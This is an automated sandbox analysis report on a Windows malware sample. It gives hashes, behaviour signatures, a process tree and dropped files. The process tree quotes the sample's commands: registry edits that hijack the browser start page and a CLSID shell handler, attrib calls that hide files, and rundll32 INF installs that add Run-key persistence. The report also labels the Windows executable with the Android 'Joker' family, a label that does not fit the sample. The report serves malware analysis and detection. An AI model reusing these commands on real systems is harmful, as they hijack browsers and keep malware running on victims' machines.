Analysis

  • max time kernel
    146s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-10-2022 16:03

General

  • Target

    540a803082a5e4c7520428ef97b77097d561acd85fa956b33152f195a1e55539.exe

  • Size

    54KB

  • MD5

    a11faee6cf2b94ecaee142b445a6bd65

  • SHA1

    ce20793652fba8ec197544b6bc0b2e0ac4609d72

  • SHA256

    540a803082a5e4c7520428ef97b77097d561acd85fa956b33152f195a1e55539

  • SHA512

    09596708fca596b8537f548ac3a8934dd3aec149cab56598ca442d0e1a43eb1f77cef11d6ec44a93de993cf4501e4033d65dec8cb41da9167c22eb9609f64646

  • SSDEEP

    768:sVKm4GV4ujtuYgFC5IjezJckOyLb172+oEFZ0TORX3iSHWIwjkdLv/kcH5hUDrpT:sQKV1MyVckOG12TGX1HxwjkVnDhI+Hg

Malware Config

Signatures

  • joker

    Joker is an Android malware that targets billing and SMS fraud.

  • Executes dropped EXE 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 46 IoCs
  • Modifies Internet Explorer start page 1 TTPs 2 IoCs
  • Modifies registry class 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\540a803082a5e4c7520428ef97b77097d561acd85fa956b33152f195a1e55539.exe
    "C:\Users\Admin\AppData\Local\Temp\540a803082a5e4c7520428ef97b77097d561acd85fa956b33152f195a1e55539.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\start_max_bat.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3868
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\redload\1.bat
        3⤵
        • Enumerates connected drives
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:4704
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d ""http://www.82133.com/?S"" /f
          4⤵
          • Modifies Internet Explorer settings
          • Modifies Internet Explorer start page
          PID:5060
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d ""http://www.82133.com/?S"" /f
          4⤵
          • Modifies Internet Explorer settings
          • Modifies Internet Explorer start page
          PID:3048
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Software\tmp" /v "key" /d ""http://www.82133.com/?S"" /f
          4⤵
            PID:1504
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCR\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}" /v "IsShortCut" /d "" /f
            4⤵
            • Modifies registry class
            PID:568
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCR\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\Shell\open(&H)\Command" /v "" /d "wscript -e:vbs ""C:\Users\Admin\AppData\Roaming\redload\3.bat""" /f
            4⤵
            • Modifies registry class
            PID:4316
          • C:\Windows\SysWOW64\attrib.exe
            attrib +s +h C:\Users\Admin\AppData\Roaming\redload\tmp\a.{971C5380-92A0-5A69-B3EE-C3002B33309E}
            4⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:4136
          • C:\Windows\SysWOW64\attrib.exe
            attrib +s +h C:\Users\Admin\AppData\Roaming\redload\tmp
            4⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:1868
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\Users\Admin\AppData\Roaming\redload\2.inf
            4⤵
            • Adds Run key to start application
            • Suspicious use of WriteProcessMemory
            PID:5080
            • C:\Windows\SysWOW64\runonce.exe
              "C:\Windows\system32\runonce.exe" -r
              5⤵
              • Checks processor information in registry
              • Suspicious use of WriteProcessMemory
              PID:4848
              • C:\Windows\SysWOW64\grpconv.exe
                "C:\Windows\System32\grpconv.exe" -o
                6⤵
                  PID:1748
            • C:\Windows\SysWOW64\rundll32.exe
              rundll32 D:\VolumeDH\inj.dat,MainLoad
              4⤵
                PID:2900
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\redload\2.bat
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2268
                • C:\PROGRA~1\INTERN~1\iexplore.exe
                  C:\PROGRA~1\INTERN~1\IEXPLORE.EXE http://www.cnkankan.com/?82133
                  5⤵
                  • Modifies Internet Explorer settings
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:4484
                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4484 CREDAT:17410 /prefetch:2
                    6⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of SetWindowsHookEx
                    PID:4228
                • C:\Windows\SysWOW64\rundll32.exe
                  rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\Users\Admin\AppData\Roaming\redload\1.inf
                  5⤵
                    PID:1724
            • C:\Users\Admin\AppData\Local\Temp\inl1E82.tmp
              C:\Users\Admin\AppData\Local\Temp\inl1E82.tmp
              2⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4416
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\inl1E82.tmp > nul
                3⤵
                  PID:436
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\540A80~1.EXE > nul
                2⤵
                  PID:3120

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\PROGRA~1\INTERN~1\IEFRAME.dll

                Filesize

                5.8MB

                MD5

                33050b213b6493d9e25d78a68773cc98

                SHA1

                52f105d7d44779be6c9edc3d6258c1c84bfae686

                SHA256

                eddd8f48831850bc50899b0d7f00bd0b1b09f544ef5e5f560e30bd9d00722bf6

                SHA512

                d72722a9eb492b19386217a5c8acd6120e19a3f8f69340c4aae46b88efee6506f185245f5d98fa9fef6535189862b1adff639087113e700701decc6e040142d4

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                Filesize

                471B

                MD5

                d3ff0edeee7d1ea5754d8a290ae01189

                SHA1

                253ee24a4776d30bac0aedd7ea213adea6acb6f9

                SHA256

                e2e542a3681c428c021d38e608dffa43da666f6f3c53f623c21dc184639b222b

                SHA512

                ab14449059ae31856026e8d8cb0ec0b4158da0fd19f2a73940a159574a9084ce6a09ac05fb80ef3ab11cd9b1395dce021872215baced48f9e8a0bf7311000db7

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                Filesize

                434B

                MD5

                f64a1253d857b6233f782f011e3ab1df

                SHA1

                5fd5be2f1bf7fd4fd75fd1b490ac9fe04281ca28

                SHA256

                e3e709be085c45f2a5b587e489bbcb18292ec3bfaef523316daabf61e6020533

                SHA512

                d4cede460211467055f088e18ea08ee983e1385ed1b0ba5f45c415bbfd6155f71136346f586ec49488d962f815673ae4e0b178649f151f10e7bbbffe6416a598

              • C:\Users\Admin\AppData\Local\Temp\cdf1912.tmp

                Filesize

                791B

                MD5

                1706b41fd446b5718a8419c0fcb35d55

                SHA1

                d9bb8df22acdc60c754ac14982cf795df3b1b815

                SHA256

                5c6d11ac3f220f8286455764ab2581dcb6554692d3b9974b097364d77edb3943

                SHA512

                68c9f6170ecdfcc79fc63cb646901d2ac52a915620b159047b2c93761c261897eb5ecc15065635105637a61a840d393104c15ea8268897fb8bb2fbc1a56c626e

              • C:\Users\Admin\AppData\Local\Temp\inl1E82.tmp

                Filesize

                57.2MB

                MD5

                47000f4ab937433e33f03cc0a059c371

                SHA1

                a7562c61807e4399e819e65eee85494e549b9616

                SHA256

                5b6f09ea3f95e59f9f34e62ff696f6644e5e60d1b9ecc679bfff061ff25288b9

                SHA512

                95dd3c1bd4ec32d932b25767b2cdaa435efe9bccffb60f6a2ba70da19a56bc0c3cb24af8b4bf1c01bc043d1eeacdbd8674fbf35ea5867c3da7c57bea86f7119d

              • C:\Users\Admin\AppData\Local\Temp\inl1E82.tmp

                Filesize

                57.2MB

                MD5

                47000f4ab937433e33f03cc0a059c371

                SHA1

                a7562c61807e4399e819e65eee85494e549b9616

                SHA256

                5b6f09ea3f95e59f9f34e62ff696f6644e5e60d1b9ecc679bfff061ff25288b9

                SHA512

                95dd3c1bd4ec32d932b25767b2cdaa435efe9bccffb60f6a2ba70da19a56bc0c3cb24af8b4bf1c01bc043d1eeacdbd8674fbf35ea5867c3da7c57bea86f7119d

              • C:\Users\Admin\AppData\Local\Temp\start_max_bat.bat

                Filesize

                54B

                MD5

                504490369970f1c0eb580afbcdf91618

                SHA1

                b52f65cd538e6c998b2c7e3167f9c8e8fa6c7971

                SHA256

                a13a0579286521f0d7cb55fc7d28c6d33f14c0573e9e69f7584fa4008a8e7d43

                SHA512

                5495ce79abf0fc4ffbfaf9aefa484145f4e0d3e8457be0e2e4dfb1284fb5413016f2d9867e2386db5c4f7b51863bfffeae8ea6bd879053fdf6a928ab2a0857ad

              • C:\Users\Admin\AppData\Roaming\redload\1.bat

                Filesize

                3KB

                MD5

                493c22f6b15f9766ae7c23794fc77da0

                SHA1

                43723ba660dbc1486f717441b58298d33b9f2048

                SHA256

                478b8c2f0dc23db49d62f987ca5e01afde54d7abff647894ad2e38f9d7fde182

                SHA512

                662644aeef7666b23b90b6ce08ea8271a7cb7379bad6920434d045fdcbbcd48b4bbb65620ac4a5c347e376ecf2ff60e115b869c74a28ca7776cf6fc83b01df34

              • C:\Users\Admin\AppData\Roaming\redload\1.inf

                Filesize

                410B

                MD5

                66a1f0147fed7ddd19e9bb7ff93705c5

                SHA1

                9d803c81ea2195617379b880b227892ba30b0bf6

                SHA256

                4f45ce85e221352f7fe26e04968c7f7267dc24b55cf2b72b929b4c90e48cb764

                SHA512

                cfe51756ddec75d240249980a4d27870d15983add25058e4d0da4d8a3ea11384d4d228d6cbc95091f91e516e1ab4dfb1e315941dbd95bf717d4b31936311d597

              • C:\Users\Admin\AppData\Roaming\redload\2.bat

                Filesize

                3KB

                MD5

                11a3aee78f3253a06e6e50395db114a8

                SHA1

                a85fe0bb800cf7461d20c94ec00ba330851961e1

                SHA256

                bfb3c9d0984b02ec1e1522e3d227c3b85eef68ca74c97e7f3eb1632178e83251

                SHA512

                fe47aeddf6b17dd9ae43f146cb49fe8111f61fb6f84054a471fbb0a9a150cb7e517d640ee96f22a2d212e98222c058f15bb822d2abfad5badfc20f9f3ffaf9d1

              • C:\Users\Admin\AppData\Roaming\redload\2.inf

                Filesize

                248B

                MD5

                2197ffb407fb3b2250045c084f73b70a

                SHA1

                3d0efbacba73ac5e8d77f0d25d63fc424511bcf6

                SHA256

                a1a42f5a41ce65135b1ad525eabc04cce89ee07d2f51d06e5e1dea6047081591

                SHA512

                b35a99e144da3f02de71158f58a6b937435d1bce941126a554783c667654b880527b11ba8a5c0fcf093ce28863ea4f5e60f73f8f973a727f177d584d2e9c80fe

              • C:\Users\Admin\AppData\Roaming\redload\4.bat

                Filesize

                5.8MB

                MD5

                33050b213b6493d9e25d78a68773cc98

                SHA1

                52f105d7d44779be6c9edc3d6258c1c84bfae686

                SHA256

                eddd8f48831850bc50899b0d7f00bd0b1b09f544ef5e5f560e30bd9d00722bf6

                SHA512

                d72722a9eb492b19386217a5c8acd6120e19a3f8f69340c4aae46b88efee6506f185245f5d98fa9fef6535189862b1adff639087113e700701decc6e040142d4

              • memory/2976-132-0x00000000005D0000-0x00000000005F5000-memory.dmp

                Filesize

                148KB

              • memory/2976-134-0x00000000005D0000-0x00000000005F5000-memory.dmp

                Filesize

                148KB

              • memory/2976-229-0x00000000005D0000-0x00000000005F5000-memory.dmp

                Filesize

                148KB

              • memory/2976-133-0x00000000003C0000-0x00000000003C3000-memory.dmp

                Filesize

                12KB

              • memory/4484-171-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-193-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-165-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-167-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-168-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-166-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-169-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-170-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-162-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-172-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-175-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-176-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-174-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-178-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-179-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-180-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-181-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-183-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-184-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-186-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-188-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-189-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-190-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-191-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-192-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-163-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-194-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-195-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-196-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-200-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-201-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-202-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-203-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-204-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-209-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-210-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-211-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-212-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-213-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-214-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-216-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-217-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-222-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB

              • memory/4484-223-0x00007FF82AC90000-0x00007FF82ACFE000-memory.dmp

                Filesize

                440KB